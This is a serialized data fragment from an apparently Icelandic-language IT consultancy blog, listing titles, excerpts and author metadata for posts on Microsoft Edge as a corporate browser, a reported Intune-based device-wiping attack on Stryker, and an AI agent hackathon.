Analysis",{"id":13580,"title":13581,"author":13582,"cta":494,"description":13583,"hideInRecent":484,"layout":12924,"meta":13584,"moment":13585,"path":13588,"stem":13589,"tags":494,"webcast":484},"content_is/posts/2026-03-21-microsoft-edge-corporate-browser.md","Af hverju Edge ætti að vera eini corporate browserinn þinn",[13113],"Val á browser er stefnumótandi ákvörðun í fyrirtækjaumhverfi, því það hefur bein áhrif á það hversu mikið öryggi og hversu mikla umsýslu þú færð í raun. Google Chrome var lengi augljósi kosturinn, en Microsoft Edge hefur þróast í browser sem grípur beint inn í þann stack sem er þegar til staðar, sérstaklega þegar Microsoft 365 er í notkun og umsýslan fer fram í gegnum Intune.",{"lang":12926,"date":13585,"blogtitlepic":13586,"customExcerpt":13587},"2026-03-21","head-microsoft-edge-default-browser.jpg","Ekkert fyrirtæki valdi Chrome í raun; hann var einfaldlega til staðar, með sinni eigin sync-rökfræði, sinni eigin reikningsstjórnun, sínu eigin viðmóti fyrir stefnur. Microsoft Edge grípur aftur á móti beint inn í þá innviði sem eru hvort eð er í rekstri: Entra ID, Intune, Defender. Þessi grein sýnir hvernig skiptin líta út, hvernig Chrome er vísað á landing page í gegnum Intune-stefnu og hvað fellur burt þegar hætt er að reka tvo browsera samhliða.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":13591,"title":13592,"author":13593,"cta":494,"description":13594,"hideInRecent":484,"layout":12924,"meta":13595,"moment":13596,"path":13600,"stem":13601,"tags":13602,"webcast":484},"content_is/posts/2026-03-20-stryker-attack-intune-privilege.md","Einn admin-aðgangur var allt sem þurfti.",[13217],"Miðvikudagur, 11. mars 2026. Starfsmenn á Stryker-skrifstofum í 79 löndum kveiktu á tölvunum sínum og fundu þær tómar. Innskráningarskjáir voru komnir í stað lógós. Fyrirtækjafartölvur, vinnusímar, einkatæki sem skráð voru í BYOD-áætlun fyrirtækisins, öllu var eytt samtímis, yfir nótt. Engin ransomware, engar malware-undirskriftir, ekkert sem endpoint-detection tól hefði getað greint.",{"lang":12926,"date":13596,"categories":13597,"blogtitlepic":13598,"customExcerpt":13599},"2026-03-20",[235],"head-stryker.jpg","Þann 11. mars 2026 eyddi Handala tækjum í 79 löndum, og allt sem til þess þurfti var eitt yfirtekið Intune admin-aðgangur. Engin malware, ekkert exploit, aðeins löglegar management-tólar sem beint var að eigendum sínum. Hvað gerðist, af hverju það heppnaðist og hvaða tvær arkitektúrlegar glufur þarf að loka.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,13448,13449],{"id":13604,"title":13605,"author":13606,"cta":494,"description":13607,"hideInRecent":484,"layout":12924,"meta":13608,"moment":13609,"path":13613,"stem":13614,"tags":13615,"webcast":484},"content_is/posts/2026-03-16-ai-agent-hackathon.md","Sex agents. Fjórar vikur. Raunverulegur rekstur.",[13244],"Hversu margar klukkustundir eyðir IT-deildin þín á viku í verkefni sem agent gæti klárað á mínútum.",{"lang":12926,"date":13609,"categories":13610,"blogtitlepic":13611,"customExcerpt":13612},"2026-03-16",[13459],"head-ai-agent-hackathon.jpg","Sex fyrirtæki, fjögurra vikna build-fasi, sex virkir AI Agents, þetta var fyrsti glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa og lila logistik byggðu í Copilot Studio agents sem eru í rekstri í dag. Það sem varð til og hvernig formið virkar.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[13492,13616,13617,13618],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":13620,"Fritz Zurhorst":13621,"Nadine Klein":13622,"Jan Geisbauer":13623,"Carolin Kanja":13627,"Anna Ulbricht":13628,"Annette Brauns":13629,"Pascal Asch":13630,"Steffen Schwerdtfeger":13631},{"display_name":13082,"avatar":13083,"permalink":13084,"twitter":13085,"linkedin":13086,"imageOffsetTop":13087,"imageOffsetLeft":13088},{"display_name":13056,"avatar":13057,"permalink":13058,"linkedin":13059,"imageOffsetTop":13060},{"display_name":13076,"avatar":13077,"permalink":13078,"twitter":13079,"linkedin":13080,"imageOffsetTop":13060},{"display_name":13217,"avatar":13218,"permalink":13219,"twitter":13220,"linkedin":13220,"imageOffsetTop":13060,"socials":13624},[13625,13626],{"text":13223,"href":13224},{"text":13226,"href":13227},{"display_name":13244,"avatar":13245,"permalink":13246,"twitter":13247,"linkedin":13248},{"display_name":13334,"avatar":13335,"permalink":13336,"linkedin":13337,"imageOffsetTop":13338,"imageOffsetLeft":13339},{"display_name":13341,"avatar":13342,"permalink":13343,"linkedin":13344,"imageOffsetTop":13345,"imageOffsetLeft":13087},{"display_name":522,"avatar":13323,"permalink":13324,"linkedin":13325,"imageOffsetTop":13160},{"display_name":13113,"avatar":13114,"permalink":13115,"linkedin":13116,"twitter":13117,"imageOffsetTop":13118,"imageOffsetLeft":13119},{"id":13051,"extension":13052,"meta":13633,"stem":8,"__hash__":13403},{"Pascal Asch":13634},{"display_name":522,"avatar":13323,"permalink":13324,"linkedin":13325,"imageOffsetTop":13160},1791383930397]